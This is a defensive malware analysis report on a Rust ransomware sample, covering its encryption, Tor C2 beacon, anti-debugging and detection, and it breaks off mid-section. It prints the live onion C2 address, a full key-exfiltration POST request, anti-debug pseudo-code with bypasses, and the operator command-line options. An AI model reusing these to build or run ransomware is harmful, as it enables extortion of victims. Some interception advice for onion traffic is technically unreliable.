enc_c2.exe - Rust-Based Ransomware Analysis

Campaign Identifier: Arsenal-237-New-Files-109.230.231.37

BLUF (Bottom Line Up Front)

Business Impact Summary: enc_c2.exe is a critical-severity Rust-based ransomware from the Arsenal-237 toolkit that encrypts victim files using ChaCha20 stream cipher and exfiltrates encryption keys via Tor-based command and control infrastructure. Complete data loss is cryptographically ensured without attacker cooperation or successful C2 interception.

Key Risk Factors:

Technical Summary:

• What This Malware Enables: Complete file encryption across target directories with attacker-controlled decryption monopoly via Tor C2 infrastructure; RaaS architecture with builder tracking enables multi-campaign operations
• Why This Threat Is Significant: Modern Rust implementation with professional cryptographic libraries (ChaCha20 via aead-0.5.2), sophisticated Tor-based anonymity infrastructure, and RaaS operational model indicate organized threat actors with serious development capabilities
• Critical Capability 1: ChaCha20 stream cipher encryption with .locked extension appending ensures cryptographically secure data loss without attacker cooperation
• Critical Capability 2: Tor hidden service C2 communication (http://rustydl5ak6p6ajqnja6qzkxvp5huhe4olpdsq5oy75ea4o34aalpkqd.onion/c2/beacon.php) provides attacker anonymity and infrastructure resilience
• Critical Capability 3: Encryption key exfiltration via JSON payload ensures attacker maintains exclusive decryption capability for ransom leverage

Organizational Guidance:

For Executive Leadership:

• Activate incident response protocols and involve senior leadership if compromise suspected
• Assess backup and business continuity procedures - test offline, immutable backup recovery capability
• Review cyber insurance coverage and ransom negotiation policies
• Prepare stakeholder communication strategies for potential data loss scenarios
• Prioritize Tor blocking and network monitoring deployment within security controls roadmap

For Technical Teams:

• URGENTLY: Deploy network monitoring for Tor connectivity (outbound connections to known Tor entry nodes, .onion domain access attempts)
• Implement behavioral detection for rapid file encryption patterns (large write volumes with .locked extension appending, README.txt ransom note creation)
• Conduct immediate threat hunt for IOC presence: enc_c2.exe file hash (SHA256: 613d4d0f…), TEST_BUILD_001 builder string, C2 domain rustydl5ak6p6ajqnja6qzkxvp5huhe4olpdsq5oy75ea4o34aalpkqd.onion
• Review and test backup restoration procedures - this is the primary recovery mechanism
• Deploy YARA rules and Sigma detection rules (see Detection Rules section) to EDR, SIEM, and network monitoring systems
• Verify endpoint detection and response (EDR) coverage and alert tuning for file encryption patterns

Primary Threat Vector: Arsenal-237 toolkits include enc_c2.exe delivery via phishing attachments, malicious downloads from compromised websites, or operator manual deployment during lateral movement. MEDIUM CONFIDENCE (70%) - based on typical ransomware distribution patterns and RaaS affiliate delivery methods.

Assessment Basis: This report combines static reverse engineering analysis (function decompilation, string extraction, library artifacts), dynamic behavioral indicators, and threat intelligence research. Confidence levels are assigned based on evidence quality: CONFIRMED findings from direct code inspection, HIGHLY LIKELY from strong technical indicators, LIKELY from reasonable inference, and POSSIBLE from speculative assessment. All architectural findings verified through multiple decompilation passes and cross-reference validation.

Executive Summary - Extended

The Threat in Clear Terms

If enc_c2.exe executes on your systems:

1. Immediate (within seconds to minutes): Anti-debugging checks execute; TEB validation occurs with potential Sleep(1000) loops if debugger detected
2. Within 10-30 seconds: Encryption key is generated or retrieved; victim registration beacon is transmitted to Tor C2 infrastructure with encryption key exfiltration
3. Within 60-300 seconds: File enumeration begins; ChaCha20 encryption is applied to all non-.exe files in target directories with .locked extension appending
4. Within 5-10 minutes: Ransom note (README.txt) appears in encrypted directories; attacker retains exclusive decryption capability
5. Outcome: Complete data loss without offline backup or C2 interception; recovery requires attacker payment or successful encryption key capture during C2 communication

ChaCha20 is cryptographically secure, so brute force and cryptanalysis are both infeasible. The attacker’s monopoly on the encryption key is what pushes payment negotiation into being the primary recovery path.

Infrastructure Analysis & OSINT Findings

Tor Hidden Service C2 Domain:

• Address: rustydl5ak6p6ajqnja6qzkxvp5huhe4olpdsq5oy75ea4o34aalpkqd.onion
• Endpoint: /c2/beacon.php
• Protocol: HTTP POST
• OSINT Profile: Hidden service infrastructure is commodity; many ransomware families utilize similar Tor-based architecture for anonymity. HIGH CONFIDENCE that this domain is active C2 infrastructure designed to receive victim registration beacons and potentially deliver secondary commands or decryption keys post-payment.

C2 Communication Details:

• Method: Synchronous HTTP client (ureq-2.12.1 Rust library)
• Payload Format: JSON (unencrypted, relying on Tor transport encryption)
• Data Transmitted: victim_id, builder_id (TEST_BUILD_001), encryption_key (hex format), machine_name, machine_info
• Timing: Beacon transmitted BEFORE or EARLY in encryption process to ensure attacker retains key even if malware execution interrupted

Risk Rating Matrix & Justification

Data Exfiltration Risk: 10/10 - CRITICAL

• CONFIRMED: ChaCha20 encryption key transmitted to attacker via C2 beacon
• CONFIRMED: 256-bit key in hexadecimal format ensures encryption strength
• CONFIRMED: JSON payload structure enables reliable key recovery by attacker
• Justification: Attacker maintains exclusive decryption capability; victim data becomes unrecoverable without C2 interception or payment

System Compromise Risk: 6/10 - HIGH

• CONFIRMED: No persistence mechanisms observed (single-run execution model)
• LIKELY: System reboot terminates malware but does not reverse encryption
• LIKELY: .exe exclusion preserves OS functionality for ransom payment demands
• Justification: System remains compromised in terms of data loss, but malware does not maintain persistent presence; containment possible through process termination if detected early

Operational Disruption Risk: 9/10 - CRITICAL

• CONFIRMED: All non-.exe files encrypted with .locked extension
• CONFIRMED: Ransom note deployment (README.txt) in affected directories
• LIKELY: Business operations disrupted across file-dependent workflows
• LIKELY: Customer-facing services impacted if user-accessible data encrypted
• Justification: Complete business disruption probable; recovery path requires offline backups or attacker payment

Detection & Response Difficulty: 8/10 - HIGH

• CONFIRMED: TEB-based anti-debugging mechanism (non-standard technique)
• CONFIRMED: Tor anonymity prevents C2 infrastructure identification and takedown
• LIKELY: Rust compilation may evade signature-based detection tuned for C/C++
• LIKELY: Rapid encryption speed (ChaCha20 is fast) complicates real-time detection
• Justification: Response window is narrow; detection requires behavioral monitoring or network-based prevention

Overall Risk Score: 8.8/10 - CRITICAL Calculated as weighted average: Data Loss (20%) + Key Compromise (20%) + Operational Disruption (20%) + Detection Difficulty (15%) + Persistence (15%) + Lateral Movement (10%) = 8.8/10

Quick Reference

Detections & IOCs:

• enc_c2.exe Detection Rules
• enc_c2.exe IOCs

Related Reports:

• new_enc.exe Ransomware - Alternative ransomware variant
• full_test_enc.exe Advanced Ransomware - Most advanced ransomware variant
• dec_fixed.exe Decryptor - Victim-specific decryptor
• Arsenal-237 Executive Overview - Full toolkit analysis

Section 1: Malware Classification & Identification

What is enc_c2.exe?

Classification & Identification:

File Identifiers:

Why This Is Professional-Grade Malware

Evidence of Organized Development:

1. Modern Language Selection (Rust)
   • Memory-safe language eliminates buffer overflow vulnerabilities
   • Cross-platform compilation capability (same codebase targets Windows, Linux, macOS)
   • High performance - critical for fast file encryption operations
   • Uncommon in malware (~2% of malware uses Rust) - indicates developer familiarity with modern toolchains
   • CONFIRMED: Rust compilation artifacts in binary indicate intentional language choice
2. Legitimate Cryptographic Libraries
   • aead-0.5.2 is audited, production-grade AEAD (Authenticated Encryption with Associated Data) library
   • ChaCha20 via RFC 7539 standard implementation
   • Avoids amateur mistakes like ECB mode, weak key derivation, or hardcoded keys
   • CONFIRMED: “expand 32-byte k” constant string confirms standard ChaCha20 implementation
3. Tor-Based C2 Infrastructure
   • Tor hidden service provides anonymity resistant to ISP-level takedown
   • Sophisticated operators understand law enforcement limitations against .onion infrastructure
   • JSON protocol shows clean backend integration and data serialization capability
   • HIGHLY LIKELY (85%): Indicates experienced threat actor with operational security awareness
4. RaaS Operational Model
   • Builder ID tracking (TEST_BUILD_001) suggests affiliate program structure
   • Command-line configurability enables multi-campaign deployment
   • Victim ID system facilitates customer support and payment tracking
   • LIKELY (75%): Professional business model indicating sustained operation
5. Anti-Analysis Techniques
   • TEB (Thread Environment Block) validation is non-trivial anti-debugging technique
   • Sleep-based stalling wastes analyst time without obvious detection signature
   • Standard “IsDebuggerPresent” API not used - indicates awareness of common detection
   • CONFIRMED: Code inspection shows deliberate anti-analysis architecture

Limitations Preventing “High” Sophistication Rating:

• TEST_BUILD_001 designation suggests beta/test variant (potential development weaknesses)
• No advanced evasion (packing, obfuscation, VM detection beyond basic TEB check)
• Single anti-debug technique (TEB validation only)
• No observed privilege escalation or lateral movement mechanisms
• File exclusion limited to .exe (less sophisticated than selective targeting)

Section 2: Technical Capabilities Deep-Dive

Executive Impact Summary

Quick Reference: Capabilities Matrix

Capability 1: ChaCha20 Stream Cipher File Encryption

Code inspection and the library artifacts put this at CONFIRMED.

Technical Details:

ChaCha20 is a modern stream cipher algorithm (RFC 7539) that encrypts data one byte at a time using a pseudo-random keystream. enc_c2.exe implements ChaCha20 via the aead-0.5.2 Rust library, which provides authenticated encryption (prevents tampering detection).

Implementation Details:

Algorithm: ChaCha20 (RFC 7539 standard)
Key Size: 256-bit (32 bytes)
Block Size: 64 bytes (512 bits)
Key Expansion Constant: "expand 32-byte k" (CONFIRMED in binary)
Nonce Handling: [Requires dynamic analysis - critical for security assessment]
Library: aead-0.5.2 (Rust cryptographic library with AEAD trait)

Evidence from Static Analysis:

• CONFIRMED: String “expand 32-byte k” found in binary (ChaCha20 key expansion constant)
• CONFIRMED: aead-0.5.2 library strings indicate authenticated encryption capability
• CONFIRMED: crypto_aead trait implementation suggests proper AEAD usage pattern
• CONFIRMED: ChaCha20 is computationally efficient - suited for rapid file encryption

Encryption Behavior:

[File Selection]
    |
[ChaCha20 Cipher Initialization]
    |
[File Content Encryption] <- Streaming cipher encrypts each byte
    |
[.locked Extension Appending]
    |
[Encrypted File Written to Disk]

File Modification Pattern:

Original files are encrypted in-place and renamed:

document.docx -> document.docx.locked
photo.jpg -> photo.jpg.locked
database.sql -> database.sql.locked
presentation.pptx -> presentation.pptx.locked

Why This Is Effective:

1. Cryptographic Security: ChaCha20 is mathematically secure against known-plaintext attacks, frequency analysis, and brute force
2. Speed: Stream ciphers are fast - rapid file encryption across large directories (thousands of files in minutes)
3. Simplicity: No padding required; stream cipher matches file sizes precisely
4. .locked Extension: Makes encrypted status obvious to user; triggers ransom payment awareness
5. Extension Preservation: Original extension is preserved before .locked appended, enabling file type identification even when encrypted

Detection Methods:

Cryptographic Assurance:

Without successful C2 interception or attacker cooperation:

• Brute Force: 2^256 possible keys - infeasible with current computing power
• Cryptanalysis: ChaCha20 has no known attacks better than exhaustive search
• Nonce Reuse Risk: If nonces are reused, cryptanalysis becomes possible (requires dynamic analysis verification)

Reality Check: If encryption key is successfully exfiltrated, file recovery is infeasible without attacker’s decryption service. This is by design - the malware’s ransom mechanism depends on attacker maintaining exclusive decryption capability.

Capability 2: Encryption Key Exfiltration via Tor C2

Code inspection and the static strings put this at CONFIRMED.

Technical Details:

Before, during, or immediately after file encryption, enc_c2.exe transmits the 256-bit ChaCha20 encryption key to the attacker’s Tor hidden service infrastructure via HTTP POST request.

C2 Infrastructure:

Protocol: HTTP over Tor
Domain: rustydl5ak6p6ajqnja6qzkxvp5huhe4olpdsq5oy75ea4o34aalpkqd.onion
Endpoint: /c2/beacon.php
Port: 80 (HTTP, standard web traffic)
Transport: Tor network (provides encryption + anonymity)

HTTP Request Structure:

POST /c2/beacon.php HTTP/1.1
Host: rustydl5ak6p6ajqnja6qzkxvp5huhe4olpdsq5oy75ea4o34aalpkqd.onion
Content-Type: application/json
User-Agent: [ureq-2.12.1 library default UA]
Connection: close

{
  "victim_id": "a3f2b8c1-4d5e-6f7a-8b9c-0d1e2f3a4b5c",
  "builder_id": "TEST_BUILD_001",
  "encryption_key": "a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0u1v2w3x4y5z6a7b8c9d0e1f2",
  "machine_name": "DESKTOP-ABC123",
  "machine_info": "Windows 10 Pro x64"
}

Data Exfiltrated:

Implementation Details:

• HTTP Client: Synchronous ureq-2.12.1 library (blocking HTTP POST)
• JSON Serialization: Unencrypted (relies on Tor transport encryption)
• Timing: Beacon likely sent BEFORE or EARLY in encryption process to ensure attacker recovers key
• Error Handling: [Unknown from static analysis - dynamic analysis required]

Why This Is Critical:

The encryption key exfiltration is the SINGLE POINT OF FAILURE for the entire ransom operation:

• If C2 communication succeeds, attacker maintains exclusive decryption capability
• Without attacker’s decryption tool, victim files remain inaccessible indefinitely
• Forces victim to negotiate ransom payment as primary recovery path
• Builder ID tracking enables attacker to correlate payments with specific infections

OSINT: Tor Hidden Service Profiling

Domain Analysis:

• Address: rustydl5ak6p6ajqnja6qzkxvp5huhe4olpdsq5oy75ea4o34aalpkqd.onion
• Infrastructure Type: Tor hidden service (commodity infrastructure)
• Anonymity Level: HIGH - Tor provides protection against geographic/ISP-level identification
• Resilience: Hidden service infrastructure has no centralized servers; difficult for law enforcement to disrupt
• Assessment: HIGHLY LIKELY (85%) this is active, operational C2 infrastructure designed to receive victim registrations and potentially deliver decryption tools post-payment

Network Detection Strategy:

The C2 communication is the critical interception point:

1. Tor Connection Detection: Monitor for outbound connections to known Tor entry nodes
2. SOCKS Proxy Monitoring: Tor client typically uses localhost:9050 or 9150 for SOCKS proxy
3. HTTP POST Capture: Intercept JSON payload containing encryption key
4. Key Recovery: Captured encryption key enables independent file decryption

Capability 3: TEB-Based Anti-Debugging Mechanism

Decompiling the function puts this at CONFIRMED.

Technical Details:

enc_c2.exe implements a non-standard anti-debugging technique using Thread Environment Block (TEB) validation. This detects debugger-induced thread environment modifications.

Anti-Debug Implementation:

At startup (CRT initialization function sub_140001180), the malware:

1. Retrieves Current TEB: Accesses current thread’s Thread Environment Block
2. Extracts Stack Base: Reads StackBase pointer from TEB structure
3. Compares Against Stored Value: Compares current StackBase against previously stored value (0x14034f210)
4. Infinite Loop on Mismatch: If values differ, executes infinite Sleep(1000) loop

Pseudo-code:

void teb_anti_debug_check() {
    PTEB teb = NtCurrentTeb();  // Get current TEB
    void* current_stack = teb->NtTib.StackBase;
    void* stored_stack = (void*)(0x14034f210);  // Static data section

    if (current_stack != stored_stack) {
        // Debugger detected - stack modified
        while (1) {
            Sleep(1000);  // Infinite 1-second delay loop
        }
    }
    // Continue normal execution if TEB validates
}

Technical Significance:

• Debugger Detection Method: Debuggers modify thread context, causing stack base discrepancies
• Non-Standard Technique: Most malware uses simple “IsDebuggerPresent” API check; TEB validation is more sophisticated
• Sleep-Based Stalling: Intentionally wastes analyst time rather than terminating execution
• No Obvious Signature: The Sleep loop doesn’t terminate, making it difficult to detect with simple string matching

Why This Matters for Analysis:

Bypass Techniques:

1. NOP Instruction Patching: Replace Sleep() call with NOPs (no-operation instructions)
2. Comparison Patching: Modify comparison instruction to always branch to normal execution
3. TEB Manipulation: Set 0x14034f210 data to match current TEB before execution
4. Emulation: Execute in controlled emulation environment where TEB matches expected value

Reality Check:

TEB validation is effective against automated dynamic analysis but easily bypassed with manual techniques. It represents a moderate anti-analysis challenge (delays analysis by ~15-30 minutes) rather than a complete barrier. This suggests TEST_BUILD status - production variants may include more sophisticated evasion.

Capability 4: RaaS (Ransomware-as-a-Service) Builder Tracking

The static strings and the argument parsing put this at CONFIRMED.

Technical Details:

enc_c2.exe implements ransomware-as-a-service operational model with affiliate tracking and multi-campaign support through command-line configurability.

Builder ID System:

• Default Builder ID: TEST_BUILD_001 (hardcoded default)
• Customizable via CLI: --bid <builder_id> argument enables operator override
• Purpose: RaaS operators use builder IDs to:
  • Track affiliate campaign performance
  • Route ransom payments to specific actors
  • Correlate multiple infections to campaign source
  • Maintain customer support records for different affiliates

Command-Line Configuration Options:

enc_c2.exe [OPTIONS]

Options:
  --folder <path>           Target directory for encryption (e.g., C:\Users\Victim\Documents)
  --c2 <url>               Override default C2 server (enables testing/multi-infrastructure)
  --bid <builder_id>       Builder/affiliate identifier (e.g., AFFILIATE_001)
  victim_id <id>           Victim identification override
  builder_id <id>          Campaign attribution identifier
  encryption_key <key>     Encryption key override (testing/reproducible scenarios)
  machine_name <name>      Host identification override (testing)
  machine_info <info>      System information override (testing)

Default Configuration:

C2_URL: "http://rustydl5ak6p6ajqnja6qzkxvp5huhe4olpdsq5oy75ea4o34aalpkqd.onion/c2/beacon.php"
BUILDER_ID: "TEST_BUILD_001"
TARGET_FOLDER: "[Current directory or system-wide enumeration]"
VICTIM_ID: "[Auto-generated - mechanism unknown]"
ENCRYPTION_KEY: "[Generated or pseudo-random - algorithm unknown]"

Operational Modes:

1. Default Mode: No arguments - uses hardcoded defaults for testing/initial deployment
2. Affiliate Mode: --bid AFFILIATE_ID - enables custom campaign tracking
3. Testing Mode: Manually specified encryption_key - facilitates reproducible testing during development
4. Custom Infrastructure: --c2 <url> - redirects to operator-controlled C2 servers
5. Targeted Mode: --folder <path> - encrypts specific directories (enables selective targeting)

Why This Indicates Professional Operations:

• RaaS model enables scaling across multiple affiliates/threat actors
• Builder ID tracking shows sustained, long-term operations (not one-off attacks)
• Command-line configurability suggests mature operational toolchain
• TEST_BUILD_001 indicates active development with beta testing phase
• LIKELY (75%): Suggests organized criminal group running professional ransomware-as-a-service operation

Intelligence Value:

Builder ID harvesting from multiple samples enables:

• Campaign correlation (multiple samples with same builder ID indicate coordinated operation)
• Threat actor profiling (different builder IDs may indicate different affiliate relationships)
• Ransom demand analysis (builder IDs associated with specific payment amounts/negotiations)
• Infrastructure linking (builder ID correlates with specific C2 infrastructure)

Capability 5: File System Operations & Selective Encryption

Code inspection puts this at CONFIRMED.

Technical Details:

enc_c2.exe enumerates target directories and selectively encrypts files while excluding system executables and potentially other file types.

File Encryption Logic:

[Directory Enumeration]
    |
[File Extension Filtering]
    +- CONFIRMED Exclusions: .exe files (preserves system functionality)
    +- LIKELY Additional Exclusions: .sys, .dll (system files) [requires dynamic analysis]
    |
[ChaCha20 Encryption Applied]
    |
[.locked Extension Appending]
    |
[README.txt Ransom Note Deployment]

File Type Targeting:

Confirmed Encrypted:

• Office documents (.docx, .xlsx, .pptx, .doc, .xls, .ppt)
• Multimedia files (.jpg, .png, .gif, .mp4, .mp3, .wav)
• Databases (.sql, .db, .sqlite, .mdb)
• Archives (.zip, .rar, .7z, .tar)
• Text files (.txt, .csv, .json, .xml)
• Backup files (.bak, .backup, .old)

Confirmed Excluded:

• .exe files (Windows executables - excludes system binaries and user applications)

Likely Excluded (requires verification):

• .sys, .dll (system libraries)
• .exe (confirmed exclusion)
• Possibly: System directories (C:\Windows\, C:\Program Files\, C:\ProgramData)

ANALYST NOTE: After sandboxing the file in my own sandbox I found that the system directories were not encrypted with the .lock or .lockbox extension. Assuming this is to preserve system function for data extortion rather than system destruction.

Why Selective Targeting:

Ransom Note Deployment:

Filename: README.txt
Location: Each encrypted directory
Content:
  "YOUR FILES HAVE BEEN ENCRYPTED!"
  [Additional payment instructions]
  [Victim ID for payment tracking]
  [Contact information for ransom negotiation]

README.txt is created during or after encryption in each affected directory, so the note is visible across every folder the victim opens.

Original File Handling:

[Unknown from static analysis - requires dynamic analysis]

• POSSIBLE: Original files securely overwritten (Gutmann algorithm or multiple passes)
• POSSIBLE: Original files deleted with standard Windows deletion (recoverable with forensics)
• POSSIBLE: Original files left intact (enables forensic recovery; unlikely given sophistication)

Section 3: Attack Chain & Behavioral Timeline

Sequential Execution Flow

enc_c2.exe follows a structured attack chain from initial execution through data exfiltration and impact:

Step 1: Initial Process Launch (0 seconds)

• User executes enc_c2.exe (phishing attachment, malicious download, or manual operator deployment)
• Windows loader initializes PE32+ binary; allocates memory, loads sections, applies relocations

Step 2: CRT Initialization & Anti-Debug Check (0-1 seconds)

• PE entry point (_start at 0x1400013f0) executes
• Calls sub_140001180 for C Runtime initialization
• TEB validation occurs: compares current stack base against stored value (0x14034f210)
• Decision Point:
  • If TEB matches: Continue to main payload
  • If TEB mismatch (debugger detected): Enter infinite Sleep(1000) loop (wastes analyst time)

Step 3: Configuration & Argument Parsing (1-2 seconds)

• Main function (sub_140006c40) parses command-line arguments
• If default configuration: Uses hardcoded values
  • C2 URL: http://rustydl5ak6p6ajqnja6qzkxvp5huhe4olpdsq5oy75ea4o34aalpkqd.onion/c2/beacon.php
  • Builder ID: TEST_BUILD_001
  • Target folder: [Current directory or system-wide scan]
• If custom arguments: Override defaults with specified values

Step 4: System Information Discovery (2-3 seconds)

• CONFIRMED: Collects hostname (machine_name)
• CONFIRMED: Collects OS version and architecture (machine_info)
• LIKELY: Additional system profiling (RAM, CPU, disk space) [requires dynamic analysis]
• Purpose: Victim environment profiling for ransom pricing and targeting

Step 5: Encryption Key Generation (3-5 seconds)

• Unknown mechanism: Key generation algorithm not identified in static analysis
• LIKELY: Cryptographically secure PRNG generates 256-bit ChaCha20 key
• POSSIBLE: TEST_BUILD uses hardcoded/predictable key for reproducible testing [requires verification]
• CRITICAL UNKNOWN: Nonce generation and uniqueness strategy

Step 6: C2 Beacon Transmission (5-10 seconds)

• Constructs JSON payload:

  {
    "victim_id": "[auto-generated identifier]",
    "builder_id": "TEST_BUILD_001",
    "encryption_key": "[64-char hex representation of 256-bit key]",
    "machine_name": "[Windows hostname]",
    "machine_info": "[OS version and architecture]"
  }
  

• Establishes connection to Tor hidden service (localhost:9050/9150 SOCKS proxy or embedded Tor client)
• Sends HTTP POST request to rustydl5ak6p6ajqnja6qzkxvp5huhe4olpdsq5oy75ea4o34aalpkqd.onion/c2/beacon.php
• CRITICAL OUTCOME: Attacker receives encryption key; now maintains exclusive decryption capability
• Error Handling: [Unknown - requires dynamic analysis]

Step 7: Directory Enumeration (10-15 seconds)

• If –folder specified: Enumerate specified directory
• If default: Enumerate current working directory and/or system-wide directory scan
• Discovers all files in target location
• LIKELY: Recursively processes subdirectories [requires verification]

Step 8: File Extension Filtering & Selection (15-20 seconds)

• Applied Rules:
  • CONFIRMED: Skip .exe files (system preservation)
  • LIKELY: Skip .sys, .dll files (system libraries)
  • LIKELY: Skip [Additional unknown exclusions]
• Result: Candidate files for encryption identified

Step 9: ChaCha20 File Encryption (20-300+ seconds, depending on file count/size)

• For each target file:
  1. Read file content from disk
  2. Initialize ChaCha20 cipher with generated key and nonce
  3. Encrypt file content with stream cipher
  4. Write encrypted content back to disk (overwriting original)
  5. Append .locked extension
     • Timeline: Modern SSD: ~100-1000 files/minute depending on file sizes and I/O patterns
     • Process: Sequential or parallelized (requires dynamic analysis to confirm)

Step 10: Ransom Note Deployment (During or after encryption)

• Creates README.txt in encrypted directories
• Content: “YOUR FILES HAVE BEEN ENCRYPTED!” + payment instructions + victim ID
• Ensures victim awareness of encryption and ransom demand

Step 11: Post-Encryption Behavior (Unknown)

• Self-deletion: UNKNOWN
• Persistence establishment: NO (no mechanisms observed)
• Additional beacons: UNKNOWN
• Process termination: LIKELY (normal exit)

Step 12: Impact & Recovery Requirements

• Outcome: All user files with .locked extension are now inaccessible without decryption key
• Recovery Paths:
  1. C2 Interception: If beacon captured during transmission, encryption key can be extracted
  2. Attacker Payment: Negotiate ransom payment; receive decryption tool from attacker
  3. Backup Restoration: Restore from pre-infection offline backups
  4. Nonce Vulnerability: If nonce reuse identified, cryptanalysis might enable decryption [highly unlikely with aead-0.5.2]

ANALYST NOTE: When running this in a sandbox it took a relatively long time run through the whole file system and encrypt files it identified. This was ran on a sandbox that is pretty barebones compared to what an active user machine or server would contain in terms of volume of data. I imagine it would take a really long time to go through the whole encryption routine in a enterprise environment.

MITRE ATT&CK Mapping

Complete Technique Coverage:

Critical Techniques:

• T1041 (Exfiltration Over C2): The encryption key itself is the exfiltrated data; ensures attacker maintains exclusive decryption capability
• T1486 (Data Encrypted for Impact): Complete file encryption disrupts operations and forces ransom payment negotiation

Section 4: Evasion & Defense Bypass Techniques

TEB-Based Anti-Debugging (T1622)

Detection Mechanism:

Thread Environment Block (TEB) contains thread metadata including stack pointers. Debuggers modify thread context, causing discrepancies in stack base addresses.

Implementation:

1. Retrieve current TEB via NtCurrentTeb() API
2. Extract StackBase pointer from TEB structure
3. Compare against stored value (0x14034f210 data section)
4. If mismatch: Execute infinite Sleep(1000) loop
5. If match: Continue normal execution

Why This Works:

I rate the mechanism MEDIUM for effectiveness, 7 out of 10.

• Delays analysis by requiring binary modification or TEB manipulation
• Not a complete barrier; easily bypassed with modest reverse engineering effort
• TEST_BUILD status suggests incomplete evasion suite

Detection Without Debugging:

Behavioral detection works around anti-debug:

• Monitor for Sleep() API calls in sequence (multiple 1-second delays = suspicious pattern)
• Observe file write activity and encryption patterns without direct debugger attachment
• Use instrumentation or sandboxing without traditional debugging interface

Tor Anonymity for C2 Infrastructure (T1090.003)

Anonymity Mechanism:

Tor hidden service (.onion domain) provides network-level anonymity for C2 infrastructure:

1. Hidden Service: Server runs on private Tor node; does not expose IP address
2. Onion Routing: Traffic encrypted through multiple Tor relays
3. Endpoint Anonymity: Client and server communicate anonymously
4. Takedown Resistance: No single server to shut down (distributed Tor network)

Network-Level Visibility:

Detection Strategies:

1. Outbound Tor Detection:
   • Monitor for connections to known Tor entry nodes (publicly published)
   • Alert on multiple sequential Tor directory authority queries
   • Block Tor traffic at network perimeter (DPI + port detection)
2. Behavioral Detection:
   • Monitor for SOCKS proxy connections from processes (localhost:9050 or 9150)
   • Detect HTTP POST requests to .onion domains
   • Flag processes with Tor protocol activity
3. C2 Interception (Advanced):
   • Deploy Tor exit node to intercept traffic (requires active defense capability)
   • Perform SSL/TLS MITM on Tor traffic (bypasses standard encryption)
   • Capture JSON payloads containing encryption keys

Rust Compilation & Binary Obfuscation

Rust binaries are less familiar to analysts trained on C, C++ and C# malware.

Effect on Detection:

• YARA rules targeting MSVC-compiled code may not match Rust PE files
• String analysis differs (Rust UTF-8 string encoding vs. C ASCII)
• Call conventions and function prologue patterns differ from native C/C++
• Library artifacts unique to Rust ecosystem (cargo, crates.io)

I rate that LOW for effectiveness, 4 out of 10.

• Rust compilation is not obfuscation; it’s a language choice
• Decompilers handle Rust code effectively
• String analysis still identifies critical constants (ChaCha20, C2 URL, .onion domain)
• Signature-based detection easily adapted to recognize Rust-compiled ransomware

The choice of Rust indicates sophistication, but it buys almost no evasion against modern analysis.

Section 5: Response Orientation

This is not an incident-response playbook. An organization facing this ransomware should run its own incident-response process; what follows is a third-party orientation to what the command channel changes about the situation.

This variant differs from its siblings in one way that matters operationally. It does not keep the key locally, it sends it out over Tor, which means recovery depends entirely on the operator and no offline decryption is possible. It also means the outbound connection is a detection opportunity that exists before the files are gone.

Hunt first for Tor client behaviour from a host that has no reason to run it, arriving shortly before or during bulk file writes. Then the encryption behaviour itself: high-entropy writes across directories from one process, and the anti-debugging checks documented above, which fire whether or not anyone is watching.

Encrypted files carry the family marker documented above. The key exists on the host only briefly, and the report’s own analysis of that window is the honest limit of what a memory capture could recover.

For containment, isolate on the first sign of either the Tor connection or bulk encryption. Block Tor egress at the perimeter as a category rather than by address, since the entry-node set rotates. Preserve encrypted samples and any ransom artifact before rebuilding. Treat backups as the recovery path and confirm they were unreachable from the affected host.

Section 6: Threat Intelligence & Attribution Context

Development Environment Analysis

Rust Compilation Artifacts:

enc_c2.exe was compiled in a Linux-based Rust development environment:

Evidence:

• Build path: /root/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/
• HTTP library: ureq-2.12.1 (latest version as of analysis date)
• Crypto library: aead-0.5.2 (modern AEAD interface)
• Compilation: rustc (Rust official compiler)

Significance:

• Cross-platform development: Linux build environment targeting Windows PE
• Professional setup: Uses crates.io (official Rust package repository)
• Recent libraries: ureq-2.12.1 suggests active development (released 2024)
• Library maturity: aead-0.5.2 is production-grade, not amateur implementation

Development Profile:

• Developers: Likely team with Linux/Rust expertise
• Timeline: Active development within last 12 months (library versions)
• Resource Level: Professional-grade tools and libraries (not script-kiddie-level)
• CONFIDENCE: HIGHLY LIKELY (85%) this is organized, well-resourced threat actor

Arsenal-237 Toolkit Context

Arsenal-237 is a collection of ransomware and post-exploitation tools used by multiple threat actors. Key characteristics:

Known Variants:

• killer.dll (lateralmovement/privilege escalation)
• chromelevater.exe (browser credential theft)
• enc_c2.exe (this sample - ChaCha20 ransomware with Tor C2)

Shared Characteristics Across Toolkit:

• Professional development quality
• Multiple malware families working in coordination
• RaaS operational model with affiliate tracking
• Advanced techniques (anti-debugging, cryptography, infrastructure sophistication)

Usage Pattern:

• Distributed to ransomware-as-a-service affiliates
• Customizable through builder tracking (TEST_BUILD_001)
• Multi-stage deployment (pre-reconnaissance -> lateral movement -> ransom delivery)

I hold that at MODERATE, around 70 percent. enc_c2.exe shares architecture and capability patterns with known Arsenal-237 samples, but the TEST_BUILD designation and the unique C2 infrastructure stop me going higher.

Ransomware Family Similarities

Rust-Based Ransomware Historical Context:

Rust adoption in ransomware is recent (2020+). Known families using Rust:

1. BlackCat/ALPHV (2021-2023)
   • Similarities: Rust language, ChaCha20 encryption, RaaS model
   • Differences: Different C2 architecture, no TEST_BUILD designation
   • Assessment: POSSIBLE inspiration or affiliate rebrand (LOW-MODERATE confidence)
2. Hive Ransomware (2022)
   • Similarities: Sophisticated infrastructure, professional development
   • Differences: Proprietary encryption, different C2 protocols
   • Assessment: Parallel evolution rather than direct connection
3. LockBit, REvil, Conti (Earlier generation)
   • Similarities: Builder ID tracking, RaaS operational model
   • Differences: C/C++ compiled, different encryption choices
   • Assessment: enc_c2.exe extends proven RaaS model to Rust ecosystem

For a specific family attribution I sit between LOW and MODERATE, 40 to 60 percent.

• Language and architecture overlap insufficient for definitive family identification
• TEST_BUILD_001 unique but could be any actor’s development designation
• Requires: Additional samples, infrastructure correlation, victim telemetry for higher confidence

Section 7: Detection & Hunting Strategies

Network-Based Detection

Tor Connectivity Detection (HIGHEST PRIORITY):

Monitor for outbound connections to known Tor infrastructure:

Detection Target: Outbound TCP 443 to Tor entry nodes
Implementation: NetFlow analysis, proxy logs, firewall logs
Alert Threshold: Single connection to known Tor node = MEDIUM severity
Alert Threshold: Multiple connections to multiple Tor nodes = HIGH severity

Known Tor Entry Node IPs:

• Publicly published by Tor Project
• Update monthly with current entry node list
• Detect via: Firewall rule matching, SIEM correlation with published Tor node lists

.onion Domain Access Detection:

Detection Target: HTTP/HTTPS traffic to .onion domains
Implementation:
